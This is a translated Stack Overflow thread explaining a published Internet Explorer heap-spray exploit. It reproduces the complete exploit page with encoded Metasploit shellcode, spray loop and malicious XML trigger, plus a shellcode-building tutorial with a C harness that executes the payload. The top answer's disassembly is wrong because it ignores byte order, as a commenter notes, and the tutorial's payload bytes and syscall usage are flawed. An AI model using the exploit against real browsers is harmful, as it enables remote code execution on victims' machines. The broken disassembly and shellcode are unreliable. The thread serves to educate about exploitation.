Wie funktioniert dieser Milw0rm-Heap-Sprüh-Exploit?

145

Normalerweise habe ich keine Schwierigkeiten, JavaScript-Code zu lesen, aber für diesen kann ich die Logik nicht herausfinden. Der Code stammt von einem Exploit, der vor 4 Tagen veröffentlicht wurde. Sie finden es bei milw0rm .

Hier ist der Code:

<html>
    <div id="replace">x</div>
    <script>
        // windows/exec - 148 bytes
        // http://www.metasploit.com
        // Encoder: x86/shikata_ga_nai
        // EXITFUNC=process, CMD=calc.exe
        var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580");

        // ugly heap spray, the d0nkey way!
        // works most of the time
        var spray = unescape("%u0a0a%u0a0a");

        do {
           spray += spray;
        } while(spray.length < 0xd0000);

        memory = new Array();

        for(i = 0; i < 100; i++)
           memory[i] = spray + shellcode;

        xmlcode = "<XML ID=I><X><C><![CDATA[<image SRC=http://&#x0a0a;&#x0a0a;.example.com>]]></C></X></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN></SPAN>";

        tag = document.getElementById("replace");
        tag.innerHTML = xmlcode;

    </script>
</html>

Hier ist, was ich glaube, und ich möchte, dass Sie mir für den Teil helfen, den ich falsch verstehe.

Die Variable shellcodeenthält den Code zum Öffnen der calc.exe. Ich verstehe nicht, wie sie diese seltsame Saite gefunden haben. Irgendeine Idee?

Das zweite ist die Variable spray. Ich verstehe diese seltsame Schleife nicht.

Das dritte ist die Variable memory, die nirgendwo verwendet wird. Warum schaffen sie es?

Letzte Sache: Was macht das XML-Tag auf der Seite?

Im Moment habe ich gute Antworten, aber meistens sehr allgemeine. Ich hätte gerne weitere Erklärungen zum Wert des Codes. Ein Beispiel ist unescape("%u0a0a%u0a0a");. Was heißt das? Gleiches gilt für die Schleife: Warum hat der Entwickler geschrieben : length < 0xd0000? Ich möchte ein tieferes Verständnis, nicht nur die Theorie dieses Codes.

javascript x86 exploit assembly Patrick Desjardins
quelle
Sie sollten sich Heap Spraying ansehen: en.wikipedia.org/wiki/Heap_spraying
BobbyShaftoe
Wie führen wir diesen Exploit erfolgreich aus? Müssen wir es im IE ausführen?
bad_keypoints

Antworten:

320

Der Shellcode enthält einige x86-Montageanweisungen, die den eigentlichen Exploit ausführen. sprayerstellt eine lange Folge von Anweisungen, die eingegeben werden memory. Da wir normalerweise die genaue Position unseres Shellcodes im Speicher nicht herausfinden können, stellen wir viele nopAnweisungen davor und springen irgendwohin. Das memoryArray enthält den tatsächlichen x86-Code zusammen mit dem Sprungmechanismus. Wir geben das gestaltete XML an die Bibliothek weiter, die einen Fehler aufweist. Wenn es analysiert wird, führt der Fehler dazu, dass das Befehlszeigerregister irgendwo in unserem Exploit zugewiesen wird, was zu einer willkürlichen Codeausführung führt.

Um dies besser zu verstehen, sollten Sie tatsächlich herausfinden, was im x86-Code enthalten ist. unscapewird verwendet, um die Folge der von der Zeichenfolge dargestellten Bytes in die sprayVariable einzufügen. Es ist ein gültiger x86-Code, der einen großen Teil des Heaps ausfüllt und zum Anfang des Shellcodes springt. Der Grund für die Endbedingung sind die Einschränkungen der Zeichenfolgenlänge der Skript-Engine. Sie können keine Zeichenfolgen haben, die größer als eine bestimmte Länge sind.

In x86-Assembly 0a0adarstellt or cl, [edx]. Dies ist praktisch gleichbedeutend mit nopAnweisungen für die Zwecke unseres Exploits. Wo immer wir in die springen spray, gelangen wir zur nächsten Anweisung, bis wir den Shellcode erreichen, der der Code ist, den wir tatsächlich ausführen möchten.

Wenn Sie sich das XML ansehen, werden Sie sehen, dass 0x0a0aes auch dort ist. Um genau zu beschreiben, was passiert, sind spezifische Kenntnisse über den Exploit erforderlich (Sie müssen wissen, wo sich der Fehler befindet und wie er ausgenutzt wird, was ich nicht weiß). Es scheint jedoch, dass wir Internet Explorer zwingen, den fehlerhaften Code auszulösen, indem wir die innerHtmlauf diese schädliche XML-Zeichenfolge setzen. Internet Explorer versucht, es zu analysieren, und der fehlerhafte Code gibt irgendwie die Kontrolle über einen Speicherort, an dem das Array vorhanden ist (da es sich um einen großen Block handelt, ist die Wahrscheinlichkeit, dorthin zu springen, hoch). Wenn wir dorthin springen, führt die CPU or cl, [edx]Anweisungen weiter aus, bis der Anfang des im Speicher abgelegten Shellcodes erreicht ist.

Ich habe den Shellcode zerlegt:

00000000  C9                leave
00000001  2B1F              sub ebx,[edi]
00000003  B10C              mov cl,0xc
00000005  BDC536DB9B        mov ebp,0x9bdb36c5
0000000A  D9C5              fld st5
0000000C  2474              and al,0x74
0000000E  5A                pop edx
0000000F  F4                hlt
00000010  EA8331FC0B6A6A    jmp 0x6a6a:0xbfc3183
00000017  03D4              add edx,esp
00000019  07                pop es
0000001A  67305CFF          xor [si-0x1],bl
0000001E  98                cwde
0000001F  BBD7FFA4FE        mov ebx,0xfea4ffd7
00000024  9B                wait
00000025  74AD              jz 0xffffffd4
00000027  058B8B028D        add eax,0x8d028b8b
0000002C  D893BCCD35A2      fcom dword [ebx+0xa235cdbc]
00000032  37                aaa
00000033  B84290A63A        mov eax,0x3aa69042
00000038  94                xchg eax,esp
00000039  E99AA4D58D        jmp 0x8dd5a4d8
0000003E  E5A3              in eax,0xa3
00000040  1F                pop ds
00000041  4C                dec esp
00000042  EB46              jmp short 0x8a
00000044  4B                dec ebx
00000045  8CD0              mov eax,ss
00000047  AD                lodsd
00000048  A844              test al,0x44
0000004A  52                push edx
0000004B  4A                dec edx
0000004C  3B81B80DD748      cmp eax,[ecx+0x48d70db8]
00000052  4B                dec ebx
00000053  D46C              aam 0x6c
00000055  46                inc esi
00000056  1392734A204F      adc edx,[edx+0x4f204a73]
0000005C  F8                clc
0000005D  6E                outsb
0000005E  DC8EA20726B4      fmul qword [esi+0xb42607a2]
00000064  04D4              add al,0xd4
00000066  D084ECBA978221    rol byte [esp+ebp*8+0x218297ba],1
0000006D  7CE8              jl 0x57
0000006F  C0CA8C            ror dl,0x8c
00000072  F4                hlt
00000073  A6                cmpsb
00000074  47                inc edi
00000075  210D2EA0B0CD      and [0xcdb0a02e],ecx
0000007B  2CA8              sub al,0xa8
0000007D  B05B              mov al,0x5b
0000007F  43                inc ebx
00000080  F4                hlt
00000081  24E8              and al,0xe8
00000083  7A9C              jpe 0x21
00000085  BB857DCBA0        mov ebx,0xa0cb7d85
0000008A  7DED              jnl 0x79
0000008C  92                xchg eax,edx
0000008D  09E1              or ecx,esp
0000008F  96                xchg eax,esi
00000090  315580            xor [ebp-0x80],edx

Um diesen Shellcode zu verstehen, sind Kenntnisse über x86-Assemblys und das Problem in der MS-Bibliothek selbst erforderlich (um zu wissen, wie der Systemstatus ist, wenn wir hier ankommen), nicht JavaScript! Dieser Code wird wiederum ausgeführt calc.exe.

Mehrdad Afshari
quelle
13
Ich schätze diese Bemühungen von Ihnen für diese Erklärung. +25 Ruf und mein ganzer Respekt. Vielen Dank
Patrick Desjardins
20
tolle Antwort, aber guter Herr - plötzlich bin ich nicht mehr gut mit Computer ;-)
Benutzername
50
Ich bin erstaunt über Leute, die es schaffen, solche Exploits zu entwickeln. Wenn sie klug genug sind, jemandes Bankkonto damit zu hacken, verdienen sie alles Geld, das sie stehlen können;)
Martin
8
Wenn es einen Schrein mit guten Antworten für SO gäbe, wäre dies drin.
San Jacinto
6
Disassemby scheint unsinnig und völlig zufällig. Das kann nicht richtig sein. Ich habe versucht, Bytes auszutauschen, vorausgesetzt, die Zeichen in einer Zeichenfolge wurden in Little-Endian gespeichert, aber es hat nicht geholfen.
Juho Östman
10

Dies scheint ein Exploit des jüngsten Internet Explorer-Fehlers zu sein , für den Microsoft den Notfall-Patch veröffentlicht hat. Es verwendet einen Fehler in der Datenbindungsfunktion des Microsoft XML-Handlers, der dazu führt, dass der Heapspeicher falsch freigegeben wird.

Shellcode ist Maschinencode, der ausgeführt wird, wenn der Fehler auftritt. Spray und Speicher sind nur ein Teil des auf dem Heap zugewiesenen Speicherplatzes, um den ausnutzbaren Zustand zu unterstützen.

Tim Farley
quelle
Denken Sie, dass solche Dinge mit den Erweiterungen von Chrome passieren könnten?
bad_keypoints
2

Jedes Mal, wenn ich Speicher sehe, der in einer Exploit-Diskussion nicht angesprochen wird, ist mein erster Gedanke, dass der Exploit eine Art Pufferüberlauf ist. In diesem Fall verursacht der Speicher entweder einen Pufferüberlauf oder es wird auf ihn zugegriffen, sobald der Puffer überläuft .

Brian
quelle
In diesem Fall handelte es sich nicht um eine Heap-Beschädigung, einen Heap-basierten Pufferüberlauf oder einen Stack-basierten Pufferüberlauf: blogs.msdn.com/sdl/archive/2008/12/18/ms08-078-and-the-sdl.aspx
Grant Wagner
0

Dies ist von Metasploit, das heißt, es wird einer der Metasploit-Shell-Codes verwendet. Es ist Open Source, sodass Sie es herunterladen können: http://www.metasploit.com/

DR. böse
quelle
0

Einfaches Shellcode-Beispiel

Hallo Welt in Assembly bei & t Syntax x86, glaube ich (Wizard in Training).

Richten Sie die Datei ein:vim shellcodeExample.s

.text           #required
.goblal _start  #required

_start:         #main function
 jmp one        #jump to the section labeled one:

two:
 pop  %rcx         #pop %rcx off the stack, or something
 xor  %rax, %rax   #Clear
 movl 4, %rax      #use sys_write(printf || std::cout)
 xor  %rbx, %rbx   #Clear
 inc  %rbx         #increment %rbx to 1 stdout(terminal)
 xor  %rdx, %rdx   #Clear Registers or something
 movb $13, %dl     #String Size
 int  $0x80

one:
 call two                   #jump up to section two:
 .ascii "Hello World\r\n"   #make the string one of the starting memory 
                            #^-addresses

kompiliere wie folgt:as -o shellcodeExample.o shellcodeExample.s ; ld -s -o shellcode shellcodeExample.o

Jetzt haben Sie eine Binärdatei, die Hallo Welt druckt. Um die Binärdatei in Shell-Code umzuwandeln, geben Sie Folgendes ein:objdump -D shellcode

Sie erhalten die Ausgabe: 

shellcode:     file format elf64-x86-64


Disassembly of section .text:

0000000000400078 <.text>:
  400078:   eb 1a                   jmp    0x400094
  40007a:   59                      pop    %rcx
  40007b:   48 31 c0                xor    %rax,%rax
  40007e:   b0 04                   mov    $0x4,%al
  400080:   48 31 db                xor    %rbx,%rbx
  400083:   48 ff c3                inc    %rbx
  400086:   48 31 d2                xor    %rdx,%rdx
  400089:   b2 0d                   mov    $0xd,%dl
  40008b:   cd 80                   int    $0x80
  40008d:   b0 01                   mov    $0x1,%al
  40008f:   48 ff cb                dec    %rbx
  400092:   cd 80                   int    $0x80
  400094:   e8 e1 ff ff ff          callq  0x40007a
  400099:   68 65 6c 6c 6f          pushq  $0x6f6c6c65
  40009e:   20 77 6f                and    %dh,0x6f(%rdi)
  4000a1:   72 6c                   jb     0x40010f
  4000a3:   64                      fs
  4000a4:   0d                      .byte 0xd
  4000a5:   0a                      .byte 0xa

Wenn Sie nun in die 4. Zeile mit Text schauen, sehen Sie: 400078: eb 1a jmp 0x400094

Der Teil, der sagt, eb 1aist die hexadezimale Darstellung der Montageanweisungjmp one wobei "Eins" die Speicheradresse Ihrer Zeichenfolge ist.

Um Ihren Shellcode für die Ausführung vorzubereiten, öffnen Sie eine andere Textdatei und speichern Sie die Hex-Werte in einem Zeichenarray. Um den Shell-Code korrekt zu formatieren, geben Sie \xvor jedem Hex-Wert ein ein.

Das bevorstehende Shell-Codebeispiel sieht gemäß der Ausgabe des Befehls objdump wie folgt aus:

unsigned char PAYLOAD[] = 
"\xeb\x1a\x59\x48\x31\xc0\xb0\x04\x48\x31\xdb\x48\xff\xc3\x48\x31\xd2\xb2\xd0\xcd\x80\xb0\x01\x48\xff\xcb\xcd\x80\xe8\xe1\xff\xff\xff\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x0d\x0a";

In diesem Beispiel wird C für das Array verwendet. Jetzt haben Sie funktionierenden Shellcode, der in stdout "Hallo Welt" schreibt.

Sie können den Shell-Code testen, indem Sie ihn in eine Sicherheitsanfälligkeit einfügen, oder Sie können das folgende c-Programm schreiben, um ihn zu testen:

vim execShellcode.cc; //linux command to create c file.

/*Below is the content of execShellcode.cc*/
unsigned char PAYLOAD[] = 
"\xeb\x1a\x59\x48\x31\xc0\xb0\x04\x48\x31\xdb\x48\xff\xc3\x48\x31\xd2\xb2\xd0\xcd\x80\xb0\x01\x48\xff\xcb\xcd\x80\xe8\xe1\xff\xff\xff\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x0d\x0a";

int main(){
    ((void(*)(void))PAYLOAD)();
    return 0;
}

So kompilieren Sie das Programm: 

gcc -fno-stack-protector -z execstack execShellcode.cc -o run

Ausführen mit ./run Sie wissen, dass Sie ein funktionierendes Beispiel für eine einfache Shellcode-Entwicklung haben, die in Linux Mint / Debian getestet wurde.

marc_s
quelle
1
Verwenden Sie das int 0x8032-Bit-ABI nicht in 64-Bit-Code. Es wird für Zeichenfolgen auf dem Stapel fehlschlagen, da der Kernel nur die niedrigen 32 Bits der Syscall-Argumente betrachtet. Was passiert, wenn Sie das 32-Bit-Linux-ABI int 0x80 in 64-Bit-Code verwenden? . (In diesem Fall würden Sie eine Endlosschleife erstellen, da sys_writediese zurückkehren -EFAULTund mov $1, %aldie oberen Bits gesetzt -ENOSYSbleiben würde, sodass Sie anstelle von sys_exit erhalten). Außerdem können Sie im 64-Bit-Code einfach jmpüber die Zeichenfolge weiterleiten und leaanstelle von call / pop einen RIP-Verwandten verwenden , um die Adresse abzurufen.
Peter Cordes
1
Dies schlägt auch für gcc fehl, das standardmäßig ausführbare PIE-Dateien erstellt, da sich dann sogar Ihr Char-Array für statischen Speicher außerhalb der niedrigen 32-Bit-Werte befindet. (Und übrigens, wenn es const char payload[]dann wäre, wäre es im Textsegment (im Abschnitt .rodata) und Sie würden es nicht brauchen -z execstack.)
Peter Cordes
1
Außerdem movl 4, %raxenthält einen Null - Byte (und wird nicht wegen der Operanden-size mismatch zubauen, und fehlt ein , $so dass die 4 ist eine absolute Adresse). Ich denke, Sie haben eine frühe Version Ihrer Quelle veröffentlicht. Meine früheren Kommentare stammen aus der Demontage, in der Sie einen sys_exitAnruf hinzugefügt haben .
Peter Cordes